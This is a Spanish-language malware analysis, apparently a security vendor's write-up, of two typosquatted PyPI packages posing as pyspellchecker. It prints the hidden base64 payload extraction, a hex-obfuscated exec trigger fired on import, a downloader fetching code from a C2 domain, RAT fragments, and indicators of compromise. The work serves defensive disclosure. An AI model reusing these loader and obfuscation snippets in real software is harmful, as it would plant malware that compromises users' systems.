El 20 y 21 de enero de 2026, nuestra pipeline de detección de malware marcó dos nuevos paquetes de PyPI: spellcheckerpy y spellcheckpyAmbos afirmaban ser el autor legítimo de la librería pyspellchecker. Ambos están vinculados a su repositorio real de GitHub.
No eran suyos.
Oculto dentro del archivo de diccionario del idioma vasco había una carga útil codificada en base64 que descarga un RAT de Python con todas las funciones. El atacante publicó primero tres versiones "latentes", con la carga útil presente pero sin el disparador, y luego activó el interruptor con spellcheckpy v1.2.0, añadiendo un disparador de ejecución ofuscado que se activa en el momento en que importas SpellChecker.
La carga útil oculta a plena vista
Los autores del malware fueron creativos. En lugar de los sospechosos habituales (postinstall scripts, ofuscados __init__.py), enterraron la carga útil dentro de resources/eu.json.gz, un archivo que legítimamente contiene frecuencias de palabras vascas en el paquete real pyspellchecker paquete.
Aquí está la función de extracción en utils.py:
def test_file(filepath: PathOrStr, encoding: str, index: str):
filepath = f"{os.path.join(os.path.dirname(__file__), 'resources')}/{filepath}.json.gz"
with gzip.open(filepath, "rt", encoding=encoding) as f:
data = json.loads(f.read())
return data[index]Parece inocente. Pero cuando se llama con test_file("eu", "utf-8", "spellchecker"), no recupera las frecuencias de palabras. Recupera un descargador codificado en base64 oculto entre las entradas del diccionario bajo una clave llamada spellchecker.
Latente, luego letal
En las tres primeras versiones, la carga útil se extrae y decodifica... pero nunca se ejecuta:
test_index = test_file("eu", "utf-8", "spellchecker")
test_index = base64.b64decode(test_index).decode("utf-8")
# Eso es todo. Sin exec(). La carga útil simplemente se queda ahí.Un arma cargada con el seguro puesto.
Luego llegó spellcheckpy v1.2.0. El atacante movió el disparador a WordFrequency.__init__ y añadió ofuscación:
if eval(compile(base64.b64decode(test_file("eu", "utf-8", "spellchecker")).decode("utf-8"),
"<string>",
bytes.fromhex("65786563").decode("utf-8"))):
self._evaluate = True¿Lo ves? Eso bytes.fromhex("65786563") se decodifica a "exec".
En lugar de escribir exec() directamente, lo que los escáneres estáticos detectarían, reconstruyen la cadena desde hexadecimal en tiempo de ejecución. Importa SpellChecker, instáncialo, y el RAT se ejecuta.
El RAT: Control remoto total
La carga útil de la fase 1 es un descargador. Obtiene la carga útil real de https://updatenet[.]work/settings/history.php y la genera en un proceso separado:
p = subprocess.Popen(
["python3", "-"],
stdin=subprocess.PIPE,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
start_new_session=True
)
p.stdin.write(downloaded_payload)
p.stdin.close()
Eso start_new_session=True es clave: El RAT sobrevive incluso si tu script finaliza. No se escriben archivos en disco. Silencioso. Separado.
El RAT de la fase 2 es un troyano de acceso remoto con todas las funciones y algunas características interesantes:
Huella digital del sistema en la inicialización:
szObjectID = ''.join(random.choice(string.ascii_letters) for x in range(12))
szPCode = "Operating System : " + platform.platform()
szComputerName = "Computer Name : " + socket.gethostname()Cifrado XOR de doble capa para comunicaciones C2: El RAT utiliza una clave XOR de 16 bytes ([3, 6, 2, 1, 6, 0, 4, 7, 0, 1, 9, 6, 8, 1, 2, 5]) para la capa externa, y luego un XOR secundario con la clave 123 para las cargas útiles de los comandos. No es criptográficamente robusto, pero es suficiente para evadir la detección basada en firmas.
Protocolo binario personalizado: Los comandos se devuelven como [ID de comando de 4 bytes][longitud de 4 bytes][carga útil cifrada con XOR]. El RAT lo analiza, descifra y despacha.
Ejecución de código arbitrario: Cuando llega el ID de comando 1001, el RAT simplemente... lo ejecuta:
if nCMDID == 1001:
exec(szCode)Bucle de baliza persistente:
El RAT se conecta cada 5 segundos a https://updatenet[.]work/update1.php, enviando su ID de víctima (campaña
FD429DEABE) y esperando comandos. La validación del certificado SSL está deshabilitada mediante
ssl._create_unverified_context().
Infraestructura C2
El dominio C2 updatenet[.]work resuelve a una infraestructura con un historial documentado de alojamiento de actividad maliciosa.
Registro de dominio:
- Dominio:
updatenet[.]work - Registrado: 28 de octubre de 2025 (aproximadamente 3 meses antes de la publicación del malware)
Infraestructura de alojamiento:
- Dirección IP:
172.86.73[.]139 - ASN: AS14956 RouterHosting LLC
- Ubicación: Dallas, Texas, EE. UU.
- Dominio asociado: cloudzy.com
- Red:
172.86.73.0/24
Por qué es relevante: RouterHosting LLC opera como Cloudzy, un proveedor de alojamiento que ha sido ampliamente documentado como un «Proveedor de Comando y Control» (C2P). En agosto de 2023, Halcyon publicó un informe titulado «Cloudzy with a Chance of Ransomware» que descubrió que entre el 40% y el 60% del tráfico de Cloudzy era de naturaleza maliciosa. El informe vinculó la infraestructura de Cloudzy a grupos APT de China, Irán, Corea del Norte, Rusia y otras naciones, así como a operadores de ransomware y a un proveedor israelí de spyware sancionado.
Conexión con campañas anteriores
No es un incidente aislado. En noviembre de 2025, HelixGuard documentó un ataque similar utilizando el paquete spellcheckers (mismo objetivo, diferente nombre). Esa campaña utilizó la misma estructura RAT: cifrado XOR, ID de comando 1001, exec(), pero con una infraestructura C2 diferente (dothebest[.]store)
Diferentes dominios, mismo modus operandi. Parece ser el mismo actor de amenazas en acción.
Indicadores de Compromiso
Paquetes: spellcheckerpy (todas las versiones), spellcheckpy (todas las versiones)
Infraestructura C2:
updatenet[.]workhttps://updatenet[.]work/settings/history.php(entrega de fase 2)https://updatenet[.]work/update1.php(endpoint de baliza)172.86.73[.]139(AS14956 RouterHosting LLC / Cloudzy)
Identificadores de campaña:
- ID de campaña:
FD429DEABE - Clave XOR:
03 06 02 01 06 00 04 07 00 01 09 06 08 01 02 05 - XOR secundario:
0x7B(123)
Ubicación del payload:
resources/eu.json.gz, clave spellchecker

